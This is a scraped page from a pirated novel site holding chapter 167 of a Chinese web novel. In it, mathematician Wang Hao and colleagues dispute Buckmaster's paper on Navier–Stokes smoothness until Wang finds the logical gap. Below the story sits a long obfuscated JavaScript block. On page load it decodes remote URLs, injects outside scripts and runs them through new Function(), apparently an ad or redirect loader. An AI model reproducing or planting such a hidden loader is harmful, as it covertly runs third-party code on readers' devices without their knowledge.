首页
第一百六十七章 你还说不是否
返回
关灯 护眼:关 字号:小

第一百六十七章 你还说不是否定他的研究!

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    巴克马斯特,麻省理工大学教授,‘拉马努金奖’获得者,阿迈瑞肯国家科学院院士。
    他是偏微分方程应用领域非常有名的专家,也是公认ns方程研究应用领域的权威,一直致力于ns方程理论应用的研究。
    早在五年前,巴克马斯特就开始尝试对于ns方程研究的主要方法是否能够成功,进行了质疑和挑战,并发表了自己和同事一起研究的成果。
    当时的成果还不完善,只是论证‘在特定的假设下,ns方程对物理世界的描述的不一致性’。
    现在的这篇研究成果,则是在‘允许ns方程解集粗糙’的情况下,证明ns方程的输出不合理,也就是偏差值过大、不具稳定性。
    举个例子来说明,比如,某一个参数调整为5,输出的数值是10;参数调整到6,输出的数值变成了60;参数调整到7,输出的数值又变成了11,输出的数值,并没有跟着参数缓慢的变动而变动,而是出现波动较大的情况。
    这就是偏差值过大,不具稳定性。
    在‘允许ns方程解集粗糙’的情况下,方程输出的数值不具稳定性,一定程度上就可以推断,方程本身也存在不稳定的情况,也就是一定程度上否证了ns方程解集的光滑性。
    巴克马斯特本人还接受了采访,他解释道,“光滑解集用来表述物理世界是完备的,但是数学上讲,他们并不一定总是存在。”
    “很多时候,我们只能用粗糙解集来对方程进行研究,也就是弱解。”
    “就像是进行脸部的素描,每一条线并不一定画在固定位置上,但整体趋向是固定的。”
    “如果脸庞的线画在了鼻子上,我们认为,就不是成功的素描,而是出现了低级错误。”
    “如果在弱解集上出现这种错误,那么就可以认为,光滑解集,一定程度上,也是不完备(光滑)的。”
    巴克马斯特接受采访的解释,逻辑是否合理还是要看个人判断,但他所做的证明却是逻辑严谨的。
    王浩下载了论文的原版,仔细看了两个多小时,也没有找出其中的问题。
    至于推导细节,能登上数学类顶级学术期刊,要经过两轮的审稿,几乎不可能出现类似的低级错误。
    “不可能啊!”
    王浩眉头紧皱的思考着,“过程不可能有错,逻辑上也没有问题……”
    “难道证明是正确的?”
    “这不可能!”
    如果巴克马斯特的论证是正确的,就代表他的研究是错误的。
    这怎么可能呢?
    人脑思维可能出错,但系统对知识灵感的判定,还赶不上巴克马斯特的逻辑严谨吗?
    或者说,巴克马斯特超越了系统?
    “不可能!”
    王浩决心和这篇论文杠上了,他又从头到尾审视了一遍,却依旧找不出任何问题,干脆就建立了个任务--
    【任务四】
    【研究项目名称:找出巴克马斯特研究的问题(难度:c)。】
    【灵感值:0。】
    “!
    “难度s方程公认的顶级专家啊!”
    王浩看着任务难度都被惊住了,他只是找一篇研究论文中的问题,结果难度竟然赶上了一个研究,也怪不得他审视了三个小时,什么也发现不了。
    这个问题让巴克马斯特自己来找,估计他自己都找不到吧!
    ……
    巴克马斯特的研究影响力确实很大。
    虽然没有到国际数学界震动的程度,但和偏微分方程、ns方程研究有关的学者,都会看他的论文,甚至一些运用到ns方程的学者也都会看他的论文。
    包括一些空气动力学,流体力学研究的学者,也包括应用领域的专家。
    等等。
    巴克马斯特的研究一定程度上否定了ns方程。
    事实上,每年都会有很多研究去否定ns方程,但这一次是巴克马斯特,ns方程研究领域公认的顶级专家。
    另外,巴克马斯特的论文发表在了《基础数学与应用数学》上,权威期刊自然是有一定说服力的。
    再然后,他的论文证明逻辑严谨。
    当所有人都没有发现问题,就会感到非常惊奇了,有人甚至提出要根据巴克马斯特的研究,去找到ns方程不平滑的现实例证。
    当然大部分人还是冷静的。
    很多时候,数学逻辑和物理现实还是存在差异,因为在应用方面来说,只要使用的工具是有效的,并不需要证明它永远有效。
    现在还只是数学界的理论研究,论文中也没有百分之百否定ns方程,只是通过对粗糙解集的研究,来论证ns方程可能存在无效的情况。
    对王浩来说,情况就不是这样了。
    巴克马斯特的研究和他的研究直接冲突,他必须要找到对方的错误之处,否则就等于否定了自己的研究。
    王浩去上课了。
    上课能大幅度增加灵感值。
    c级难度的研究,往往一节课就可能积满100点灵感值,他的课程还是《现代偏微分方程》,和ns方程的研究关联性很强。
    这是学期末的最后一堂课。
    王浩对内容讲解的非常细致,最后还对于整个课程进行了梳理,让学生们对于课程整体更加的了解。
    这能帮助他们对于内容有个深刻的认识,而不只是知道一些基础的数学方法应用。
    一堂课,两个课时下来。
    【灵感值:37。】
    “很少啊!”
    这节课带来的灵感值意外的少。
    王浩也感觉非常的惊讶,他本来以为一节课就足以完成研究,结果发现增加的灵感值只有三分之一。
    这就说明没有找到关键。
    等回到了梅森数实验室以后,他就闷在了办公室里,再次审视起巴克马斯特的研究,后来郑尧军找了过来,就干脆和郑尧军一起研究。
    郑尧军也是长期从事偏微分方程领域的研究,对于ns方程也有一定的个人理解。
    他也知道巴克马斯特的研究。
    两个人一起对论文从头到尾进行审视、讨论,希望能找出过程或逻辑上的错误,但迟迟没有任何进展。
    “过程大概是正确的,如果有错误,可能是在逻辑上。”
    “最后的结论也是推出来的,不过有些地方还是要仔细想一下。”
    郑尧军拧着眉头说着。
    这时候,海伦敲门走进了办公室,她也是过来讨论巴克马斯特的研究问题,因为她也找不到任何问题,想问一下王浩的看法。
    “这个问题,我们也正在研究,我认为结论一定是有问题的。”王浩抿着嘴思考着说道。
    海伦道,“我仔细梳理了过程,没有发现任何问题,但是这个结论……”
    “很难接受。”
    这一般数学家的反应,就像是周清源,他无法接受ns方程不平滑的结论,即便只是对粗糙解集的分析,也依旧不能接受。
    就像是看到一个完美的艺术品,竟然出现了巨大的瑕疵,给人的感觉就非常的郁闷。
    郑尧军忽然来了兴趣,他知道海伦是王浩的学生,就在自己有些不确定的位置上说了起来,“过程也不一定全部正确吧,看这个位置。”
    他指了一个位置说道,“这里的逻辑可能有问题,他所说的偏差值分析,不一定是完善的。”
    海伦看向郑尧军,道,“数学没有不一定,只有正确和错误。”
    “……?”
    上来就是一句‘教育’的话,让郑尧军一时之间没反应过来。
    海伦继续道,“你所指出的位置,我也想了一下,他们所做的偏差值分析非常完善,确实证明差别很大?”
    “但是,怎么界定呢?”郑尧军发现被小姑娘教育,顿时反问了回去。
    海伦道,“只看曲线分离度就可以了,这个数据足以说明任何问题,研究曲线数值的偏转,从方向上判断,偏离度超过了界定值。”
    “额~~”
    郑尧军跟着一想,确实如此,但被一个女学生点破,就感觉很没面子,他马上又找了一个位置,“这里呢?他运用了一个代数分析手段,但并不确定包含所有的阈值。”
    “当然不需要包含所有的阈值。”
    海伦道,“只需要分一部分就可以了,一部分不能代表所有,但内容只是做一个说明,而不是论证。”
    郑尧军马上道,“你刚才也说了,数学上只有正确和错误,即便只是做一个说明,但这个说明并不是完善的。”
    “我想你没明白其中的问题……”
    “乌拉乌拉~~”
    海伦和郑尧军针对内容进行争论。
    你一句、我一句,谁也无法说服谁。
    看着这个场景,王浩有些无奈的摸了摸额头,海伦有点刨根问底的性格,而且非常的不服输。
    郑尧军好像也有点。
    一个大教授和一个小姑娘争论个什么?
    当争论到后面的时候,郑尧军明显开始不讲武德,说起一些‘完全超纲’的内容,有些甚至涉及到他自己的研究。
    然后,他赢了。
    因为海伦后面有些听不懂了,她毕竟是十几岁的小姑娘,即便是再天才、智商再高,涉及的知识领域也赶不上郑尧军。
    最后海伦急的脸颊通红,还是王浩过去安慰了一句,“海伦,不要和这家伙计较,再过两年,他就不是你的对手了!”
    海伦似乎是听进去了,像是小孩子置气放狠话一样,指着郑尧军,咬牙说道,“你给我等着!”
    “!
    海伦走了。
    郑尧军明显是有些得意,就像是打仗获胜的将军一样。
    王浩给他破了个冷水,“老郑啊,海伦才十六岁……”
    郑尧军的笑脸立刻没有了,他意识到和海伦做对比的应该是他的学生,而不是他自己亲自上场。
    可是他的学生,胡丽丹?
    和海伦……
    “真是天才啊!”郑尧军最后叹气的说道,“你怎么有这么天才的学生?才16岁啊,两年后还真是比我强了。”
    王浩耸了耸肩,“海伦确实很天才,不过我认为,另一个学生,邱会安,才是最优秀的。”
    “为什么?”
    “他正在研究勒让德猜想。”
    一句话就说明白了。
    郑尧军用力抿了抿嘴,“就算他证明不出来,以后也肯定很厉害。”
    “是啊。”
    “我羡慕你……有这么多天才学生,下次发现这种天才学生,能不能推荐给我?”郑尧军道,“虽然我不是天才,但也想有个天才学生。”
    王浩的脑子里顿时出现了个矮胖小眼的身影。
    不行!
    小伙子天赋很好,跟着郑尧军可惜了。
    郑尧军不知道王浩在想什么,而是继续道,“王浩,你说像是海伦这种天才,属于正常人吗?”
    “嗯……”
    这感觉是个哲学问题。
    王浩仔细的思考了一下,天才是正常人吗?
    天才和正常人一样,都是两个胳膊、两个腿,外在都是一样的,区别只是脑发育很优秀?
    但是同样的,有些人天生力气大,身体发育会非常出众,只不过现代社会发展情况,导致头脑上的天才更受重视。
    所以天才也是在‘正常人’判断偏差范围……
    对啊!
    王浩思考的眼前一亮,激动的一拍桌子,恍然的喊道,“彭!”
    “我明白了!”
    郑尧军吓的浑身一哆嗦。
    就听王浩说着,“即便是海伦这种天才,和你放在一起做对比,也依旧在正常范围内!”
    郑尧军微张着嘴愣了好半天,回过神指着自己,“你的意思是……”
    “我是笨蛋?”
    ……
    王浩找到了灵感以后,就已经发现了问题所在,巴克马斯特的论文确实是正确的,但正确并不代表什么。
    他们是把结论看的过重了。
    或许连巴克马斯特自己也一样,发现‘允许ns方程解集粗糙’的情况下,方程输出的数值不具稳定性,就理所当然的认为,一定程度上否证了ns方程解集的光滑性。
    这个逻辑本身是存在问题的,一定程度上,不代表‘肯定’。
    就像是海伦所说的,数学只有正确和不正确,没有模湖界定的说法。
    ‘一定程度上’,是证明了,还是没有证明呢?
    王浩发现了问题以后,联系自己的研究,马上就想到了关键,也知道该怎么驳斥研究,他可以证明‘粗糙解集’方程输出是有界收敛的,换句话说,针对‘粗糙解集’的研究,方程输出确定存在不稳定的情况,也是在一定范围内的,而不是完全的不稳定。
    素描的例子确实很不错。
    针对ns方程常规取值来说,不可能存在有笔画画到鼻子上的情况。
    所以巴克马斯特的研究,什么问题也说明不了,和ns方程解集是否光滑毫不相干,什么也证明不了。
    王浩并没有针对驳斥巴克马斯特的研究去做记录。
    因为有了足够的灵感,再加上研究是同一方向,他甚至可以当场证明‘允许粗糙解集的情况下,方程输出的有界收敛问题’。
    他是在做自己研究的灵感记录。
    【任务一】
    【研究项目名称:okes方程研究(难度:s+)。】
    【灵感值:60。】
    王浩看着系统任务的灵感值,脸上不由得露出了笑容,甚至说还稍稍有些激动。
    最后一点灵感来之不易。
    郑尧军看着王浩不断的记录,好奇的问道,“你知道那篇论文的问题了?是准备否定他的论文吗?”
    “当然不是。”
    王浩摇头道,“否定别人的论文,有什么意义?也不能当做成果来发表。”
    “那你是……”
    “我自己的研究。”王浩道,“我已经知道该怎么证明,固定范围取值条件内ns方程解集的光滑性问题了。”
    郑尧军听的愣了一下,仔细琢磨着,“巴克马斯特是证明,范围取值下,ns方程一定程度上是不光滑的。”
    “现在是证明范围取值下,ns方程解集的光滑性。”
    “这两个……”
    他勐然瞪大了眼,反应过来,“完全相反啊!你还说不是否定他的研究!”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();